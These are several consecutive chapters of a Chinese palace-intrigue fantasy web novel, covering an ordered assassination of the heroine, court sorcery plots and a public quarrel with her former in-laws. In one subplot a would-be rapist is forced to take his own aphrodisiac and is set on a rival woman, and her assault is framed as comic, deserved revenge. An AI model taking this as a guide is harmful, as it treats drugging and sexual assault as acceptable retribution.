这一次,燕云青没有直接回答,犹豫几息后道,“皇上,那个匣子内可放着宝物?”
墨云昭眯了眯眼。
燕云青立刻跪在地上。
“九王妃说,若有宝物,她应能重新修复九龙镇。”
殿内一片死寂。
墨云昭心中掀起惊涛骇浪。
不是因为宝物,而是因为燕云青转述的江清婉的这句话。
没有人比他更清楚白硕的本事,还有那九龙阵的来源。
若江清婉真的有这样的能力,绝不可让她活着留在墨云寒的身边。
他缓缓握紧双手,眼中杀气森冷。
燕云青敏锐的察觉到,下意识抬头。
在看到墨云昭眼底的意思后,心下一惊。
这江氏,怕再无机会了。
……
江清婉离开御书房后,却并没有看到预想到的老太监。
她摩挲着袖子里的半截盒子,微微皱了皱眉。
太上皇到底藏着什么心思?
他不是一直很在意九龙阵吗?
如今白硕死了,九龙阵也未曾修复,这老头却半点动静都没有。
这章没有结束,请点击下一页继续阅读!真是奇怪!
直到她离开皇宫,也没见到养心殿的人。
倒是听到消息的青穗,驾着马车等在了宫门外。
她还未靠近,一只火红的狐狸就从马车内飞窜出来,没头没脑地扎进她怀里,委屈呜咽像只大狗般喋喋不休地告着状。
江清婉听了几句,脸色就冷了下来。
“谁要扒你的皮?”
青穗一惊。
“王妃你能听懂它说什么?难道你懂兽语?”
江清婉没回答,而是问道,“是云筱然?”
青穗点了点头。
“是,不过您养的狐狸挺厉害,把她院子里的人全挠了一遍,没一个能出门的了。”
江清婉抬手拍了下小红的大脑袋。
“以后少嘚瑟,这里不是山上,有些规矩是人说了算,不是谁厉害谁做主,明白吗?”
小红哼哼了两声,忽地冲着皇宫的方向发出一声长长的嗷叫。
江清婉回头,看向它注视的方位。
她现在灵力弱,很多东西感应不精准,但小红常年受师父熏陶,又生在祁连山灵气富饶之地,对一些阵法符箓的敏锐度比她更强。
她在它身上揉了一把。
“里面的东西你不能吃,会脏了心烂了肺。”
说罢抱着她上了马车。
落下布帘时又问了句,“青穗,此去清风寨往返剿匪要几日能回?”
青穗调转车头。
“若顺利也要七八日吧。”
“七八日?”
江清婉沉思片刻放下帘子坐回车内。
墨云寒的腿恢复的不错,三五日还能撑住,可这七八日,有些久了。
与此同时,养心殿内,虎啸连绵。
却又被什么东西隔绝着,鲜少能有人听见。
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第161章 生辰八字
等马车回到王府的时候,天已经黑了下来。
莲儿和李斗准备了很丰盛的饭菜。
江清婉拉着青穗一起坐下。
看着漂亮的庭院,嗅着百花的芬芳,紧绷着的神经终于松了松。
她让李斗去开了两坛好酒。
几个人都沾了杯。
莲儿抱着她的一个胳膊又哭又笑。
“小姐你不知道,听到赐婚圣旨的时候,奴婢真的开心死了。我想着要气死秦家那些忘恩负义的人,让他们瞧不起小姐,欺负小姐,以后见到小姐都要下跪行礼。”
“可紧接着就出了事,说封府就封府,说抓人就抓人,我跟李斗叫天天不应叫地地不灵,我害怕急了。我想着,如果小姐能平安回来,就逃走,离京城远远的,太吓人。”
李斗虽笨拙,却还知道给她拍了拍后背顺气。
青穗平静的喝着酒。
对这种事见怪不怪。
皇城是权利的中心,你有一步登天的机会,也随时都有万劫不复的危机。
人命在这里,最不值钱。
莲儿喝的不少,情绪又太多激动,没多久人就往桌子底下滑。
江清婉让李斗抱她回房休息。
月色清冷照在石亭内。
青穗问道,“你好像都不怕。”
江清婉反问,“怕什么?怕死吗?我当然怕,只不过我会装,你看不出来。”
青穗被噎住。
江清婉又看了看天色,
似乎在等什么。
一旁的红狐狸优雅的啃完了一只烤鸡,又喝了半坛子酒,在江清婉常常休息的软榻上,睡得四脚朝天,不知天地为何物。
一只蹄子偶尔抽抽两下,极为悠闲。
这时李斗走了回来。
端起桌上的酒碗噗通跪在了青穗面前。
饶是青穗冷静惯了,也被他这突如其来的一跪吓到。
嘴里的一口酒直接喷了出来,连忙站起身立在了江清婉的身后。
“你要干什么?”
李斗耿直的转了个方向虽然对着江清婉,可话却是对着青穗说的。
“我想拜你为师,请你教我武功,我也想像你一样飞檐走壁,保护小姐,保护莲儿。”
这一次的变故,让他无比懊恼自己的无能。
生出强烈的想要变强大的决心。
青穗被他弄得一阵无语。
“我的本事你学不了。”
“为什么?我能吃苦,我有的是力气。”
李斗急的表态。
青穗上上下下的指着他。
“你的身形怎么学我的功夫?”
李斗看了看自己,又看了看青穗,沮丧的垮了肩膀,跪坐在地上。
“那怎么办?我不想这么没用。”
这段时间相处,青穗也知道李斗轴,若是钻了牛角尖,是很难走的出来的。
“这样吧,我帮你去找几本适合你的硬气功,靠着你的力气练好了虽然不能飞檐走壁,但一样很厉害。”
李斗惊喜抬起头。
“真的?”
“真的!”
青穗肯定的回答,让李斗开心的将酒碗一放哐哐磕了好几个响头。
江清婉其实记得一些三师兄的功法。
但是三师兄身形缥缈,所学功法根本不适合李斗。
她也一直没上心。
如今看着李斗磕的红肿的脑门,心中也有些触动。
“青穗送你功法,那我就送你个武器吧,等我去找洛九给你打。”
青穗的表情猛地一怔。
王爷竟然连洛九的身份都告诉了王妃?
看来是真的极其的信任了。
李斗开心的像个孩子,为表诚意,抱着个酒坛子喝了个酩酊大醉,歪在石亭的柱子睡得昏天暗地。
青穗这才拍了拍胸口。
“我长这么大,还是第一次被人这么跪。”
江清婉鲜少见她这幅表情,忍不住乐出了声。
青穗难为情,酒也不喝了。
“我去屋脊,你慢慢喝。”
说着就要走。
江清婉却叫住她。
“再等等。”
“等?等什么?”
江清婉指了指皎白的月光。
“等宵禁。”
青穗不明所以,却没再追问,又坐了回去。
她看出江清婉似乎有事要做,没再沾酒。
又过了一会。
街上响起了更夫的梆子声。
江清婉看向青穗。
“双手伸过来。”
青穗照做。
江清婉看着手指上在皇陵咬破还没有愈合的伤口,内心深深叹了口气。
必须尽快想法子恢复些灵力,实在是有点疼。
血珠点在青穗的掌心,一双手各自画了一个卍字。
“你去风雅筑,将云筱然手里的金镯子取下来给我,不要让任何人看到。”
青穗一头雾水。
“偷个镯子而已,无须等到宵禁,即便是白日,我也能神不知鬼不觉的拿到。”
云筱然拿着帕子在擦拭伤口。
闻言头也没抬。
“那镯子有问题,不是轻易能取下的,小心点,取来后等会还要送回去。”
青穗虽不理解,却习惯性听话照做,身形很快消失在屋脊之后。
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“我刚刚碰这东西的时候,掌心传来灼烧感,你看。”
她将双手展开。
鲜红的卍字至上呈现出浅浅的灰色。
江清婉拿过镯子走进烛火,顺口解释道,“因为这桌子被人下了符,认了主。”
烛火的光亮透过镂空的缝隙,随着江清婉手指的转动,终于在内里一处找到了一行镌刻的小字。
“周元二十六年五月初九寅时二刻。”
她忽然间想起,第一次给墨云寒治腿的那晚,砸碎的那个玉雕。
内里也有一张符纸,同样写着生辰八字。
只不过被烧掉了一半,看不全,但前面的年份却是一模一样。
都是周元二十六年。
她抬手掐算。
片刻后脸色一沉。
这个时辰出生的人,对应帝星,却偏离紫薇星。
通俗些说,就是可称帝,却并没有皇帝的命格。
她转头看向青穗。
“你知道当今皇帝的生辰吗?”
青穗愣住,立刻摇头。
“这是皇室辛秘,怕是连王爷也不知道。”
江清婉收回目光,又细细检查了一遍,确定再无第二个人的生辰八字后便将金镯子递给青穗。
“还回去吧,我乏了。”
她说完起身离开了石亭,凝白的小脸异常沉重。
既是帝星,这镯子又是太后所赏,几乎已经明晃晃指向了皇上墨云昭。
看来,将云筱然送入王府,并不是太后怜惜她痴心一片的成全,而是另有所图。
墨云寒啊墨云寒,你这命,还真不是一般的苦。
他们让你活着,就是要吸你的气运,扭转帝星和紫微星的偏差。
可真够毒的。
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第162章 暗杀
顺利将手镯送回去,青穗刚回到后院,就看到三道黑影飞落到院中。
落地时一点声音都没有,绝对是高手。
而他们的目的直冲江清婉的寝卧。
青穗大急,袖中短箭飞速刺出,同时高呼,想引起前院府兵的注意。
可她的声音还没响起。
一人就已经逼近她面前,带着钢爪的手直击面门。
她不得不凝气躲闪。
而另外两人已经踹开了寝卧的门口。
“江清婉,跑!”
青穗再次掷出短箭,挡住了那二人要冲进去的动作。
可自己却因为气息外泄,动作延迟,被那钢爪狠狠抓中了肩膀,鲜血瞬间染红了衣服,人也狼狈的从屋脊上滚落下来。
来不及理自己的伤口,她爬起来就想去救人。
钢爪却再次袭来。
若是夜七几人在前院,这么大动静应已察觉出异常。
可是墨云寒出征,夜七随行前给暗卫营的人不知道下达了什么任务。
京中暗卫几乎全部出动。
王府中只剩下府兵,敏锐感自然差些。
而这时,另外两人已经冲进了屋内。
青穗知道江清婉有些本事,可这样的高手,她不知道她能挡多久。
心下也发了狠,咬牙站起,以诡异的身形避开再次袭来的钢爪,瞅准机会一脚狠狠踹在了对方的腰侧。
她的靴子上有尖刀。
对方显然没料到她这幅惨样竟然还能反击,被刺了个正着。
动作瞬间变得迟缓。
青穗找准机会,迅速冲去寝卧方向,试图先将江清婉带去前院。
可她还没冲到门口,那两个冲进去的黑衣人就被一柄长剑逼了出来。
一个戴着赤金面具的男人走了出来。
长剑嗡鸣收回掌心,背手立在门口,大有一夫当关万夫莫开之势。
正是赤森。
青穗晃神间,身后钢爪却再次袭来。
她并不认识赤森,却能看出对方是在保护江清婉,而且武功极高。
她心下大安,立刻专心迎战钢爪。
墨云寒选中她离开暗卫营保护江清婉,并不仅仅是因她女子的身份,而是因为她的武功和轻功的确超群。
一对一,钢爪也受了伤,对抗起来并不多占优势。
而另一边,赤森一对二,也丝毫不落下风。
长剑招招致命。
眼见一时拿不下,若引起前院注意再想脱身绝不可能。
三人中有人吹起暗哨,立刻开始默契后退。
青穗憋了一肚子气,那肯放行。
脚下运起轻功再次缠斗上去,却险些被另外一人飞射而来的暗箭伤到。
赤森冷冷的看着三人飞离院墙。
“你留守,我去灭口。”
毫无感情的一句话落下,他人已经飞驰而去。
除了墨云寒,青穗还是第一次看见武功如此之高的人。
这时小红迷迷瞪瞪醒来。
因贪酒脑袋晕乎乎的,身体一歪从藤椅上掉了下来,再次呼呼睡去。
青穗赶紧转身跑去寝卧,正好和走出来的江清婉撞上。
“你没事吧?”
“你没事吧?”
两个人几乎同时开口。
江清婉也注意到青穗的肩膀,立刻侧身让她进屋,又瞥向院子里的李斗和小红。
青穗忙道,“都睡着,没醒。”
江清婉点点头,这才将门关了。
“衣服脱下来我给你上药。”
上一次苏柳儿受伤,钟大夫留下的药还剩下不少,正好合用。
青穗也没扭捏,直接将肩膀上的布料扯开。
“我自己来吧。”
江清婉看着她深可见骨的伤,皱了皱眉。
“不用这么拼命。”
青穗怔了怔,伸手抢过她手里的纱布和药膏。
一边闷头处理一边解释,“不是为你,王爷交代的任务,完不成,我回暗卫营也是个死。”
江清婉一时不知该说什么。
青穗又道,“王爷还是不放心我吧,又给你安排了别的护卫,今日若不是她,我根本护不住你们。”
江清婉摇头。
“他不是墨云寒的人。”
至于是谁,她没解释,青穗也很识趣的没问。
只是感叹了一声。
“他武功造诣真高。”
青穗处理伤口的手法很利落,显然这事常做,上了金疮药随意包扎了几下。
江清婉实在看不下去,过去帮她重新整理。
刚系好,口鼻就被青穗捂住。
她做了个噤声的动作,眼神示意外面。
江清婉转头,就看到窗户纸上插着一根木管子,正在往里面吹烟。
她无语的翻了个白眼。
她的身体早就百毒不侵。
这种拙劣的手段,绝对不会是刚刚那群暗杀的高手杀了回来。
她看向青穗,二人眼神对视,片刻后齐齐倒在了地上。
很快,房门就被人鬼鬼祟祟的推开。
一个粗壮的汉子猫着腰走了进来,看到地上躺着两个人愣了愣。
“这怎么还多了一个。”
说话间嘴里连续吐了好几口唾沫。
本小章还未完,请点击下一页继续阅读后面精彩内容!“奶奶的,连个狗洞都没有,还让老子费那么大劲挖通酒窖才进来。”
他蹲在下身一时间也分不清哪个才是江清婉。
“管你们谁是谁,杀了我娘,这仇不共戴天,不过你们放心,我怜香惜玉绝不杀你们,等我喂你们吃下这最烈的药,今晚你们就会醉生梦死沦为娼妇,明天一早,再想活命,可就只有听话这一条路了。”
他嘿嘿笑着,看了看青穗傲人的胸口,又贪婪的看向江清婉绝美的身段,吸溜了一下口水,从怀里掏出了一个小瓷瓶。
刚要拔开塞子,就看到地上的两个人全睁开了眼睛,正直勾勾的看着他。
他被吓了一跳。
一屁股跌在了地上,差点喊出声。
要不是这迷烟的功效他了如指掌,还真以为闹了鬼。
拍了拍胸口,他又骂了声,扒开塞子拿着药瓶就去捏青穗的嘴。
下一刻就被掐住了脖子摁在了地上,一整瓶的药全倒进了他的嘴里。
青穗本就因今晚江清婉被暗杀的事情火大。
这会儿哪里压得住脾气,满身的暴戾杀气展露无疑。
“好吃吗?不够的话姑奶奶送你去小官那里,有多少,塞给你吃多少!”
王铁柱被扼住喉咙,五大三粗的身形却是半点都挣脱不开。
烈药已经开始起反应,他红着脸大着舌头怒骂。
“我可是有云县主罩着的,我娘被你们害死,无论我对你们做什么,都是你们活该。”
江清婉好奇。
“你一直说我杀了你娘,你娘是谁?”
“张嬷嬷!王府里当差的张嬷嬷。”
面对王铁柱的指控。
江清婉想了好半天才模糊的想到确实有这么一个人。
可她死了吗?
何时死的?
与她又有什么关系?
青穗却已经没了耐心,一把将人提溜起来。
“我早就看那个狗屁县主不顺眼,这种腌臜主意都能想的出来,等东窗事发她拍拍屁股撇个干净,说是王妃你惹的私仇引火烧身,王爷一怒之下肯定杀了这厮,坏了名声的还不是王妃您。既然她这么喜欢折腾,我满足她。”
她伸手点了王铁柱的哑穴,拽着人冲出了房间。
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第163章 朕要兵变
昭阳殿内。
墨云昭批完当日奏折刚刚躺下。
忽然有重物砸落在地,带着浓烈的血腥味。
“什么人?”
总管太监立刻冲了进来。
“皇上,出什么事了?”
殿内灯油挑亮,地上赫然三个带血的包袱。
不用看也知道是什么。
总管太监吓得双腿一软跪在地上,又连滚带爬的跑到龙床前挡着墨云昭前面,尖声大喊。
“有刺客。”
御林军立刻冲入殿内,却被墨云昭森冷喝退。
“都滚!”
燕云青皱了皱眉,抬手让卫兵退出殿外,随即将殿门关上。
八斤小声问,“统领,里面那么重的血腥味,皇上不会出事吧?”
六和也凑了过来。
“怕是亲卫队又干了什么秘密的活,不想让咱们知道。”
燕云青心中有了几分猜测,低叱着让他们散开不要多言。
殿内。
总管太监跪在地上,不敢说话。
墨云昭脸色铁青,周身散发骇人的杀气。
“去,揭开。”
总管太监不敢不从。
抖着手过去将包袱打开。
三张死不瞑目的脸立刻暴露出来。
他自幼跟着墨云昭,岂会认不出皇上亲卫的脸,心中登时大骇。
他不是惊讶对方连杀三人,而是竟然神不知鬼不觉的送到了龙床前。
这跟在墨云昭的脖子上架一把随时会砍下来的刀没有什么两样。
另一边,
养心殿内,
太上皇并没有睡,靠在软榻上,正对着烛火翻看着书。
血腥味飘来的时候,他抬眸看了眼。
下一刻赤森就落在他面前几步之外,单膝跪在地上。
“一切都在您的预料之中,派去刺杀九王妃的正是皇上的亲卫心腹,我已将那三人的人头送还回去。”
太上皇闲散的翻了下书页。
闻言勾了勾嘴角。
“我那儿子可要气的跳脚了。”
赤森没说话。
太上皇又道,“江氏什么态度?”
赤森稍作回忆。
那两人凶神恶煞的冲进房间时,江清婉正拿着狼毫笔在作画。
至于画的什么,他没看出来,但表情并没有多少吃惊,也没有吓得尖叫。
他斟酌后道,“不太害怕。”
太上皇笑意更甚。
“原以为小九眼瞎,那江氏也就皮相不错,乡野出身,实在一无是处。没想到,几番事情下来,倒是有几分母仪天下的气韵。”
赤森的脑海中却浮现出江清婉抢他肉干转头又嫌弃难吃,还吐了他一身的画面,抿着唇没有答话。
太上皇悠然的翻了一页书。
“下去吧,警告已成,不必再去守着了。”
……
坤宁宫的暗室内,
太后提着灯笼看着蜷缩在角落里已经奄奄一息的白硕,眼中情绪复杂。
所有人都说白硕死了。
可她知道,白硕不会死。
他拼死也会回来见她一面。
果然今夜就有了动静。
她胸中翻滚着难压的愤怒。
“为什么要骗哀家?你去玄灵山,根本不是去修复九龙阵的,你是想毁了大周的龙脉吗?”
白硕此刻满身符箓,裸着身体,鬼一样蜷着。
满头的白发也被灼烧干净,越发的丑陋狼狈。
他盯着地面没有去看太后的脸,气息凌乱,声音也在颤抖。
“我去吸活人的精血,是因为我被人用雷劈了,修为尽毁,我带着宝物去玄灵山,是想利用皇陵内的灵阵恢复修为,可……”
他猛地转头,赤红的眼睛死死盯着太后那张细滑的连半点皱纹都看不见的脸。
“你给我的匣子里,放着的不是宝物,而是雷劫符。”
太后大吃一惊。
“雷劫符?你竟然还能……”
她忽然注意到,白硕身上流窜这的红色符箓,都源自于胸口位置的一个物品。
可那东西在皮肉之下,她看不到。
眼底闪过一丝晦暗不明的光,她压了压情绪解释,
“哀家从未打开过那个匣子,杀了你,对哀家没有任何好处。”
白硕赤红的眼睛缓缓收回,依旧盯着地面。
太后又加了一句。
“皇帝更不会杀你。”
是谁算计害他,已经不言而喻。
白硕阴恻恻的笑了起来。
“我留他三月的命,是不想坏了天道规则,他是真想死啊。”
太后的目光又落在他的胸口位置,幽幽问,“你还能活吗?”
白硕已经放下怀疑。
太后绝不会杀他。
而他此刻能依靠相信的也只有太后。
他又蜷了蜷身体。
“我跟你说过,我不会死。但一时半刻,修为难以恢复如初。我要在这里休养一段时间,劳烦太后娘娘为我寻至阴之人助我双修复原,也免得耽搁了为皇上炼丹。”
太后心底闪过一抹杀意。
应了一声,提着灯笼走了。
刚走会殿内,就看到墨云昭满身寒气的坐在椅子上。
见她出来,冷冷地看过去。
“母后大晚上穿成这样去做什么了?”
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她抬眼看了看殿外。
隔着紧闭的殿门,依稀能看到月色。
“这个时辰,皇上为何过来。”
墨云昭沉着脸默了许久。
忽地道,“朕要兵变。”
太后大吃一惊。
“你疯了!历来皇帝不可弑父,此等骂名,你岂可背负?”
墨云昭冷笑一声。
“朕不能弑父,可朕的父皇,却时时刻刻都要杀朕。你知不知道,今夜朕的三个亲卫被他的人砍了脑袋,又扔在了朕的龙床前.他在告诉朕,但凡朕有一点不听话,他随时就可以抹了朕的脖子!你叫朕如何安眠,如何治国,如何做这大周的天子!”
他气的胸口几乎炸裂。
太后却听出异常。
“你让你的亲卫去做了什么?”
墨云昭也没打算瞒着。
“去暗杀江清婉。”
太后不悦。
“一个女子,用得着兴师动众吗?她若是能翻起什么浪花,又岂会被秦家欺辱赶走?”
墨云昭愤怒的情绪稍稍平复。
“此去玄灵山,太上皇命她跟随,在皇陵内,她亲口告诉燕云青,她可以修复九龙阵。这样的人,怎可留在老九身边?”
太后对此却半点都不信。
“不过是骗骗太上皇的把戏,她若真有这本事,那日你打了老九三十鞭,她会半点办法都没有吗?更何况秦家人不也活得好好的?”
见墨云昭脸上寒气消散,她又温声道,“此事你不要再有行动,一个女子而已,母后自会处理。”
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第164章 你是青穗
天刚蒙蒙亮。
李嬷嬷就着急忙慌的去叫云筱然起床。
她本就是奶娘出身,自不会有那么多规矩,又商议的是如何坑害别人的私密事情,便径直推门走了进去。
“县主,您醒了吗?该去捉奸了,咱们得叫上宋氏,才能将这事……啊!”
看到床上糜乱的场景,她吓得大叫一声赶紧捂住了嘴。
云筱然被吵醒,皱着眉想翻个身,却忽然感觉到异常。
昨夜混乱的记忆袭来。
她惊恐的睁开双眼,身下泥泞和半趴在她胸口的男人都证明昨晚根本不是什么涟漪的春梦。
“美人!”
王铁柱意犹未尽地拱进她胸口上开始嘬。
云筱然如遭雷劈,根本受不了这刺激,双眼一翻直接昏死过去。
一大早就蹲在墙角看完了热闹的青穗,神清气爽地回了后院。
她是暗卫,盯梢的事常做。
整夜不睡的时候都常有,若不是受了伤,她能盯一夜。
莲儿打着哈欠在打水,见她落在院子里也已经见怪不怪,笑盈盈的打着招呼。
“青穗姑娘,早啊。昨夜你喝醉了没有?我起来头疼的厉害。这酒真不是什么好东西。”
青穗冲她点点头。
“李斗呢?”
莲儿指了指小菜园的方向。
“去给我劈柴了,姑娘找她有事?”
青穗实在不太习惯。
“你以后唤我青穗即可。”
她从怀里摸出三本武功的招式秘籍递过去。
“你给他吧,让他照着上面练,若有精进,我再帮他多寻几本。”
莲儿和李斗关系一直很好。
也知道他对武功极为渴望,惊喜的擦了擦手赶紧接过。
“我替李斗谢谢姑娘,不对,是谢谢青穗。”
这时江清婉推门出来。
发髻没梳,满头青丝随意披在肩头。
素白的小脸,肌肤被刚刚升起的朝霞镀了层光,如凝脂白玉般漂亮。
“都起了?小红呢?”
青穗环顾四周也没看见红狐狸。
不由一惊。
“不会又去风雅筑了吧?我去把它带回来。”
江清婉却忽地做了个噤声的动作,这下青穗也听见了动静,转头看向了酒窖方向。
等几人跑过去找的时候,就看到红狐狸撅着个屁股扎在酒瓮里,喝完了酒却被卡住了脑袋,醉的四肢不听使唤,蛤蟆一样趴在地上乱扒拉。
莲儿憋不出噗嗤一声笑了出来。
江清婉觉得它太丢人,一脚踹在了狐狸屁股上。
“怎么不醉死你。”
青穗忙上前打碎了酒瓮,才将小红给救了出来。
它满身的毛都湿透了,一张狐狸脸歪着脑袋冲着江清婉咧嘴笑。
莲儿拿着帕子给它擦。
“小姐,这狐狸好像通人性。”
江清婉呵呵了两声,满眼嫌弃。
“它纯属贪嘴。你抱它出去醒醒酒。”
莲儿应下,从青穗手里接过小红出了酒窖。
江清婉看向角落。
散落的酒坛,碎了好几个,有个土坑依稀能透出些光,又被散落的泥土遮挡了大半。
应该就是昨晚被挖开的。
“这王府的院墙实在不安全,轻易就能被人挖开。这酒要是被偷光了,可是不小的损失。”
青穗无声地翻了个白眼。
“王妃,您该担心的不是酒。”
江清婉瞥她一眼。
“你不懂,世间好酒难寻。”
等她有朝一日能回祁连山,她要把这些酒全部带上。
吃过早饭,莲儿和李斗在家重新规整酒窖。
江清婉带着青穗出门去找洛九。
青穗受了伤,江清婉特意叫了马夫驾车,让她坐在轿内休息。
刚上车,青穗就忍不住问。
“王妃要去给李斗锻造武器吗?是大刀还是斧子?可要加机关暗器?”
她对武器有所了解,但更倾向于暗器一类。
洛九是出了名的机关大师。
以前机关营里所有机关类暗器都是出自他手。
她心中向往,却因身份,不能当面请教。
江清婉从袖中抽出几张画稿递过去。
“不是大刀也不是斧子,这套兵器有一个很漂亮的名字,叫流星追月锤。需要精铁打造,既有重量,适合李斗的力气,还可以变幻形态,可攻可防。加以你给的那些招数,应该就够用了。”
此刻青穗根本听不见江清婉说什么。
整个人沉浸在图纸之中。
直到江清婉拍了拍她的肩膀,她才猛地回神,难以置信地问道,“这是你一夜所画?”
江清婉不太懂她的激动。
“只是画个图纸而已,又费不了太多力气。”
青穗一时之间不知道该作何反应。
如此精妙的设计,哪里是有把子力气就可以做到的。
她虽没见过洛大师的手稿,可这流星追月锤真的做出来,绝对比暗卫营中的那些兵器都要厉害。
她有些羡慕地摸了摸图纸上的锤子,心中对江清婉已经是完全的信服崇拜。
见她低着头不语,只一味摩挲那图纸。
江清婉憋着笑,故意挑了下眉道,“我还画了其他一些小物件,你要是不嫌弃,就送你了。”
“送我?在哪里?”
青穗心急的四处看。
江清婉还是第一次看她这么灵动可爱的表情,忍不住咯咯笑了起来。
“你这个样子才更像青穗。”
青穗怔住。
心里骤然掀起惊涛骇浪。
自从离开暗卫营被赐名青穗,她以为她就是青穗了。
可此刻她才意识到,其实她依旧照着夜十九的样子在活。
江清婉从另一个袖子里又抽出了两页图纸递过去。
“我看你习惯用短箭类的暗器,给你设计了一套,你瞧瞧喜不喜欢。”
青穗立刻打开。
两页图纸,画的是一整套的暗器。
针刺簪,袖中弩,束腰剑,腿间刃。
还有两个戒指,一个可放毒药,一个可扯出钢丝,杀人于无形。
藏于衣衫之下的都极为细小精致,而戴在外面的,却又漂亮的宛若上等的精雕首饰。
江清婉懒懒地歪在车厢上。
“咱先说好,我只负责画图,锻造的银子你可得自己出。”
她又有些好奇,小脚轻轻踢了踢青穗的小腿。
“喂,你们做暗卫的,每月能领多少俸禄?”
青穗此刻感动的厉害。
眼眶都有些发酸,也不敢抬头,闷闷回了句。
“一月一百两。”
江清婉哦了一声。
“那你跟了我,他还给你银子吗?”
青穗忽地愣了愣,抬起头一脸愕然。
“我未曾问过。”
江清婉看着她有些红的鼻尖,笑的像一只老神在在的狐狸。
“你是我的随从青穗,不是夜十九,月银自然有我给你发。”
第165章 看热闹不嫌事大
马车刚刚驶出长安区,忽地停了下来。
青穗警惕地将图纸递给你江清婉让她收好,撩开侧面布帘往外看。
长安区外的长街上,多半都是朝臣府邸,也有些权贵的族亲,非富即贵。
这条街和长安区是没有商铺的。
可这会儿,前面却跟菜市场一样热闹,里里外外围了好几圈。
各府出门采买的丫鬟小厮,全都伸长了脖子往里看,一个个脸上全都是看好戏的兴奋。
已经堵了好几辆马车。
青穗放下布帘道,“是苏玉兰的县主府,不知道出了什么事,围了好多人,咱们的马车绕不开,要等。”
江清婉倒也不赶时间。
“走,去听个热闹。”
县主府的大门并没有打开。
两个门房也躲了起来,入府的石阶上,半趴着一个人,正捶胸顿足的哭喊着,眼泪鼻涕糊了一脸,正是秦明朗的母亲张氏。
“大家都来评评理啊?我儿子前脚刚出征,苏玉兰这个女人就在外面跟人勾三搭四,被那么多人看光了身子,简直是伤风败俗。我来找她要个解释,却连面都见不到,就被她的恶仆撵了出来。”
“这个不孝的女人,嫌弃我们老两口年迈,将我儿骗来县主府居住,扔下我不管不顾,连每月的月银都不给啊。如今我家老爷被人陷害陷入牢狱,她却不闻不问,我求她给些银子疏通,她也不肯,还说让我家老爷死在牢里更省事。简直是丧尽天良啊!”
苏玉兰跟人私会的事早有传闻,如今又苛待公婆。
周围自是骂声不断。
县主府内,着急返回太学院的秦润急的跳脚。
他得知秦明朗出征,特意前来讨好,顺势在县主府内住了一夜,想借机留下,不再回秦府。
哪成想会被堵在家里。
他怒视门房。
“你们两个还愣着干什么,出去把人拉走啊?”
门房也很无奈。
一人道,“我们拉了,可一碰她,她就哎呦哎呦地翻白眼。毕竟是姑爷的亲生母亲,小的也不敢硬拉啊,若是伤到,姑爷回来可如何交代。”
另一人提议,“外面的是您亲祖母,不如您出去劝劝,都是一家人,再这般闹下去,丢的可是县主府的脸面。”
秦润气的磨牙。
厌烦极了这种下贱的人。
昨夜他陪着苏玉兰吃晚膳的时候,张氏就来闹了一回,张口就是要银子。
连前厅都没能进来,就被下令扔了出去。
当时苏玉兰的脸色就很难看,下令谁也不准再放张氏进府,并骂了句老不死的。
转头就问秦润,“你是要母亲,还是要祖母?”
秦润想到苏玉兰的眼神,心里就发憷。
他当然要做县主的儿子。
思及此,秦润示意门房开门。
外面哭喊的嗓子干哑的张氏,一听门开了,立刻就爬了起来。
看到出来的秦润后愣了一下,再次一屁股跌坐在了地上,朝着他悲苦的伸出手。
“我的宝贝孙儿,你可是祖母一把屎一把尿拉扯大的,你可不能向着那个女人,要替祖母做主啊。”
秦润却并没有去搀扶她,站在石阶之上居高临下的看着。
“你来这里闹不就是为了要银子吗?秦家的宅子都祖父给赌没了,要不是我县主母亲拿了银子给我父亲还了账,你现在连住的地方都没有,怎还有脸来这里撕闹诋毁?”
“祖父为何入狱你不知道吗?是那个妖妇江氏所为,她背靠九王,你让父亲和母亲如何去救。”
青穗双眼一眯。
“狗东西,我去让他闭嘴。”
江清婉却一拉拉住她。
“不急,让他说。”
秦润言辞激情,神色真挚,带着怒其不争的愤慨。
“祖母,父亲和母亲已经去牢里送了银子拜托狱卒加以照料,你还想怎样?你该去闹的是九王府,而不是趁着父亲出征,来逼迫勒索母亲,你实在太让我失望了。”
张氏被骂的一脸懵。
周围刚刚还在指责县主不仁义的,此刻纷纷将矛头指向了江清婉。
“我听说那江氏是个吸人的妖怪,秦将军不要她,她定然是怀恨在心报复秦家,才会把自己的前公爹送去衙门蹲牢狱,心可真够狠的。”
“我觉得这苏县主做的也够仁义了,没想到这秦将军的父母是这种人,一个烂赌,一个泼妇,摊上这家人也是倒了大霉。”
江清婉站在人群里啧啧了两声。
“这江氏也是蠢笨,早些将秦家这群人都吸成干尸不就一了百了了吗?还让他们活到现在?”
青穗惊愕的看向她。
却见她冲着自己眨巴了眨巴眼睛。
周围全都是人,也没有去看是谁说的话。
此言一出立刻有人附和点头。
“也对,我要是江氏,有这通天的本事,哪会被欺负的成了下堂妇。”
青穗心下了然,立刻加入。
“再怎么说,这也是他祖母,有养育之恩,他怎么连扶都不扶一下?”
众人注意力瞬间转了方向。
“对啊,孝字当先,这秦家少爷一出府就开始训斥,说老夫人的不是,你瞧他锦衣华服的,可老夫人连根像样的簪子都没有。”
江清婉看着青穗,憋着笑玩的开心。
“你没听见他一口一声县主母亲吗?我听说人家江氏养了他五年,可转头就被骂妖妇。不就是因为江氏是个商籍,没有县主权势大吗?”
青穗紧接着道,“还真是谁有本事跪舔谁,将这孝敬长辈的礼义道德都丢光了,你们瞧这老夫人哭喊的嘴皮子都白了,也讨不到一口水喝,真是可怜。”
当下义愤填膺的人更多。
江清婉悠然的又加了一句。
“这秦少爷可是在太学院读书呢,都学了些什么?”
忽有人一拍脑门,恍然大悟。
“哎呀,我想起来了,跟苏县主苟合的那个人,就是太学院的书生,两个人被人捉奸的地方,离太学院很近,难不成为了讨好这县主母亲,秦少爷做起了皮肉生意?”
这一嗓子喊的极大声。
秦润的脸瞬间爆红,再端不住温雅激愤的架子,颐指气使的指向众人。
“你们在这里乱说话,可是得罪了苏家,脑袋都不想要了?”
看热闹的很多都是周围府邸伺候的人。
达官贵人见得多了,谁会在乎他这不轻不重的威胁,指责声不仅没消,反而越来越大。
第166章 寻死
秦润终归是个半大的少年,哪能镇得住场子,顿时将怒火全发在了张氏身上。
“你看看你让我丢了多大的脸,我可是你孙子,你就这么见不得我好吗?还不赶紧离开!”
张氏心中戚戚。
儿子,孙子,一个个全都被苏玉兰给哄了去。
她现在在秦家,别说是安神茶,燕窝粥,连荤腥都吃不上。
以前手里存下的银子,也早就被秦家公霍霍没了。
若再发不出月银,谁伺候她。
以前江清婉在的时候,她日子过得太舒坦,现在是半点罪都不愿受。
